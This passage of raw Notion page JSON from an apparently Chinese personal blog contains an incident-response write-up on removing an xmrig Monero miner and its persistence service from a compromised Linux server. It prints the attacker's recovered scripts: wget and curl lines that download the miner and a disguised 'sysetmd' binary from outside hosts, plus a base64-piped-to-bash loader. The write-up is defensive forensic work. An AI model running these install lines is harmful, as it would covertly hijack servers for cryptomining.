be-9b0c-8ac739647018","type":"header","properties":{"title":[["排查思路"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853984146,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"e296a959-a78b-4075-96e9-8513be10984a":{"value":{"id":"e296a959-a78b-4075-96e9-8513be10984a","type":"code","properties":{"title":[["#上去服务器先看看这个文件\nps aux | grep xmrig"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710853998397,"last_edited_time":1710854047375,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"557aa532-93be-450a-a95a-57fe1fbef80c":{"value":{"id":"557aa532-93be-450a-a95a-57fe1fbef80c","type":"image","properties":{"size":[["87.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0c1d2d17-20c1-4e26-97f8-697d634eefda/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0c1d2d17-20c1-4e26-97f8-697d634eefda/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.07175660160734787,"block_preserve_scale":true},"created_time":1710854095533,"last_edited_time":1710854100787,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["0c1d2d17-20c1-4e26-97f8-697d634eefda"]}},"7a0d9210-16b0-47f6-9109-cbe8dacd1197":{"value":{"id":"7a0d9210-16b0-47f6-9109-cbe8dacd1197","type":"code","properties":{"title":[["#排查下pid关联的文件 -\u003e 没啥收获\nll /proc/{pid}/fd \n#查看网络链接,记住关键ip\nnetstat -tunap | grep {pid}\n#kill再说\nkill -9 {pid}\n#然后全局查找文件(这里要记住文件大概什么时候创建的)\nfind / -name xmrig\n#rm -rf xmrig相关\nrm -rf {xxxx}\n#检查下定时任务,该取消就取消\ncrontab -l\n#再检查下xmrig相关后台程序 -\u003e 我这里使用xmrig关键字没搜到\nsystemctl list-units --type=service  | grep xmrig"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710854103480,"last_edited_time":1710854623530,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"513bf277-14f2-40df-9fe5-5d5e66266ad1":{"value":{"id":"513bf277-14f2-40df-9fe5-5d5e66266ad1","type":"text","properties":{"title":[["不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。"]]},"created_time":1710854163131,"last_edited_time":1710854425767,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"f1b00174-0fc2-4c92-aa89-1240ab7a2880":{"value":{"id":"f1b00174-0fc2-4c92-aa89-1240ab7a2880","type":"code","properties":{"title":[["#查询服务器网络链接,看起来可疑ip记录下pid\nnetstat -tunap \n#看看所有的程序\nps aux\n#以上两个步骤我基本确定下面这个pid很可疑,在看下文件创建时间,与xmrig创建时间一致\n/opt/sysetmd 9x25 481.x1.x1.4x\n#依然看看关联文件-\u003e没收获\nll /proc/{pid}/fd \n#再kill掉\nkill -9 {pid}\n#删除文件sysetmd相关\nrm -rf {xxxx}\n#再去找自启动服务 这个确实找到了\nsystemctl list-units --type=service  | grep sysetmd"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710854428765,"last_edited_time":1710855194033,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"f61d0519-01a1-478e-80c7-35c9118bc24d":{"value":{"id":"f61d0519-01a1-478e-80c7-35c9118bc24d","type":"image","properties":{"size":[["120.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3f5c325a-22bb-4012-a104-25e90a12e09a/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3f5c325a-22bb-4012-a104-25e90a12e09a/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.31000654022236757,"block_preserve_scale":true},"created_time":1710855117718,"last_edited_time":1710855123273,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["3f5c325a-22bb-4012-a104-25e90a12e09a"]}},"a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc":{"value":{"id":"a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc","type":"code","properties":{"title":[["#直接给他停掉\nsystemctl stop  sysetmd.service\nsystemctl disable sysetmd.service\nrm -f /etc/systemd/system/sysetmd.service"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855127688,"last_edited_time":1710855176774,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"dfa778c0-22eb-460f-91da-4c9e89100d07":{"value":{"id":"dfa778c0-22eb-460f-91da-4c9e89100d07","type":"text","properties":{"title":[["额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855204178,"last_edited_time":1710855315886,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"8706dcce-a26a-4928-a907-a8d5f6dbad7e":{"value":{"id":"8706dcce-a26a-4928-a907-a8d5f6dbad7e","type":"image","properties":{"size":[["377.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6695402298850575,"block_preserve_scale":true},"created_time":1710855297999,"last_edited_time":1710855302836,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca"]}},"b51cfb34-025c-4e9b-a604-99d4b02e9fc5":{"value":{"id":"b51cfb34-025c-4e9b-a604-99d4b02e9fc5","type":"code","properties":{"title":[["#cat查看下\ncat monero.service\n\n#文件内容如下,发现xmrig就是这个拉起来的\n[Unit]\nDescription=Monero miner service node\n\n[Service]\nExecStart=/root/xmrig-6.21.1/xmrig --donate-level 1 -o xxxxxxx\nRestart=always\n\n[Install]\n\n#直接给他停掉\nsystemctl stop  monero.service\nsystemctl disable monero.service\nrm /etc/systemd/system/monero.service\n\n#然后持续观察以下内容\nps aux \ntop -c\nnetstat -tunap "]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855321955,"last_edited_time":1710855493722,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"cf3a69ec-dc8f-4808-8034-89fe5bd29d14":{"value":{"id":"cf3a69ec-dc8f-4808-8034-89fe5bd29d14","type":"text","properties":{"title":[["最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855310476,"last_edited_time":1710855543002,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"0e833496-a19a-41a7-b6a0-78d848bf1754":{"value":{"id":"0e833496-a19a-41a7-b6a0-78d848bf1754","type":"code","properties":{"title":[["#查找某个时间段的文件\n#忽略/proc文件夹\nfind / -type d \\( -path /proc -o -path /var/lib/docker -o -path /mnt/www/docker -o -path /usr/local/aegis  \\) -prune -o -type f -newermt \"2024-03-18 00:00:00\" ! -newermt \"2024-03-19 00:00:00\" -print"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855546376,"last_edited_time":1710855606043,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"723a182a-626b-4c3a-a918-e190ff211798":{"value":{"id":"723a182a-626b-4c3a-a918-e190ff211798","type":"image","properties":{"size":[["84.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a078109a-f42d-4a2b-8f84-8a810cf1fead/Untitled.png"]]},"format":{"block_width":920,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a078109a-f42d-4a2b-8f84-8a810cf1fead/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.2826086956521739,"block_preserve_scale":true},"created_time":1710855673964,"last_edited_time":1710855679321,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["a078109a-f42d-4a2b-8f84-8a810cf1fead"]}},"1ee5667c-9025-478c-9b94-0303a98f4067":{"value":{"id":"1ee5667c-9025-478c-9b94-0303a98f4067","type":"code","properties":{"title":[["#找到wawa.sh和update_udp.sh很可疑\n\n#wawa.sh如下\ncd /root;\nwget http://1187xxxxxom/xmrig-6.21.1-linux-static-x64.tar.gz;\ntar -zxvf xmrig-6.21.1-linux-static-x64.tar.gz;\nsystemctl stop monero.service;\nrm -rf /etc/systemd/system/monero.service;\nwget http://xxxxon/monero.service;\nsysctl -w vm.nr_hugepages=$((1168+$(nproc)));\nmv monero.service /etc/systemd/system/monero.service;\nsystemctl daemon-reload;\nsystemctl enable monero.service;\nsystemctl start monero.service\n\n#update_udp.sh如下\necho \"xxxx==base64encodeexxxxxx\"|base64 -di|bash -s\n#base64解谜如下\ncurl -s http:/x7/libhv.so -o /opt/libhv.so;\ncp /opt/libhv.so /usr/lib/libhv.so;\ncp /opt/libhv.so /usr/lib64/libhv.so;\ncurl -s http://bpxysetmd -o /opt/sysetmd;\nchmod 777 /opt/sysetmd;\ncurl -s http://bpgx27/sysetmd.service -o /etc/systemd/system/sysetmd.service;systemctl daemon-reload;\nsystemctl enable sysetmd.service;\nsystemctl start sysetmd.service;"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855687497,"last_edited_time":1710855822956,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"af73c0b0-fefa-4be8-908d-9f53434e90f1":{"value":{"id":"af73c0b0-fefa-4be8-908d-9f53434e90f1","type":"text","properties":{"title":[["发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855825239,"last_edited_time":1710855868497,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"26d7cf25-e010-42fc-a17a-f41bf5810199":{"value":{"id":"26d7cf25-e010-42fc-a17a-f41bf5810199","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853769932,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"6ad39ada-a5ba-4717-b358-d1d013de7f01":{"value":{"id":"6ad39ada-a5ba-4717-b358-d1d013de7f01","type":"bulleted_list","properties":{"title":[["找被黑时间左右的所有文件一个一个排查"]]},"created_time":1710855982697,"last_edited_time":1710856009153,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"6da1726b-3b01-4477-9f83-9c21240b1f03":{"value":{"id":"6da1726b-3b01-4477-9f83-9c21240b1f03","type":"bulleted_list","properties":{"title":[["找文件关联pid"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710856010525,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"c5b1e0c0-edb3-45bc-90d2-5fc97aadef92":{"value":{"id":"c5b1e0c0-edb3-45bc-90d2-5fc97aadef92","type":"bulleted_list","properties":{"title":[["找pid关联fd,端口,ip等"]]},"created_time":1710855892374,"last_edited_time":1710856017679,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"ac2e2b33-c939-4e51-b645-a75d92cefce2":{"value":{"id":"ac2e2b33-c939-4e51-b645-a75d92cefce2","type":"bulleted_list","properties":{"title":[["找相关service,排查异常servcie,定时任务全部停止"]]},"created_time":1710855917952,"last_edited_time":1710856113350,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"bf3c5b4c-2a2e-4940-8141-00e72adb8cd3":{"value":{"id":"bf3c5b4c-2a2e-4940-8141-00e72adb8cd3","type":"bulleted_list","properties":{"title":[["持续观察cpu,网络等信息"]]},"created_time":1710855929613,"last_edited_time":1710856053608,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"9213b777-2c2f-4959-89fe-83076a290465":{"value":{"id":"9213b777-2c2f-4959-89fe-83076a290465","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"1f2fa689-6444-408e-8982-d97876cbaca9":{"value":{"id":"1f2fa689-6444-408e-8982-d97876cbaca9","type":"column_list","content":["c7184f46-708d-4e2a-842e-86e0110aece0","27670dd3-1c08-417c-8df9-ee69095a647e","7759e27d-6555-4cf4-af7c-92289e6b2a6f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"c7184f46-708d-4e2a-842e-86e0110aece0":{"value":{"id":"c7184f46-708d-4e2a-842e-86e0110aece0","type":"column","content":["68a0b662-e72a-470b-95d5-c904c3908fa2"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"27670dd3-1c08-417c-8df9-ee69095a647e":{"value":{"id":"27670dd3-1c08-417c-8df9-ee69095a647e","type":"column","content":["e6f04189-03e8-4eb7-8d83-f52461442c69","8800522e-0ef9-40b9-a37c-26e5267758ab"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"7759e27d-6555-4cf4-af7c-92289e6b2a6f":{"value":{"id":"7759e27d-6555-4cf4-af7c-92289e6b2a6f","type":"column","content":["1b7f549f-8224-432d-bb0f-63cab60c829e"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"68a0b662-e72a-470b-95d5-c904c3908fa2":{"value":{"id":"68a0b662-e72a-470b-95d5-c904c3908fa2","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"c7184f46-708d-4e2a-842e-86e0110aece0","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"e6f04189-03e8-4eb7-8d83-f52461442c69":{"value":{"id":"e6f04189-03e8-4eb7-8d83-f52461442c69","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"27670dd3-1c08-417c-8df9-ee69095a647e","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"1b7f549f-8224-432d-bb0f-63cab60c829e":{"value":{"id":"1b7f549f-8224-432d-bb0f-63cab60c829e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"7759e27d-6555-4cf4-af7c-92289e6b2a6f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"8800522e-0ef9-40b9-a37c-26e5267758ab":{"value":{"id":"8800522e-0ef9-40b9-a37c-26e5267758ab","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"27670dd3-1c08-417c-8df9-ee69095a647e","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"8a913cee-ee89-46cd-a83e-a3f02655f038":{"value":{"id":"8a913cee-ee89-46cd-a83e-a3f02655f038","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-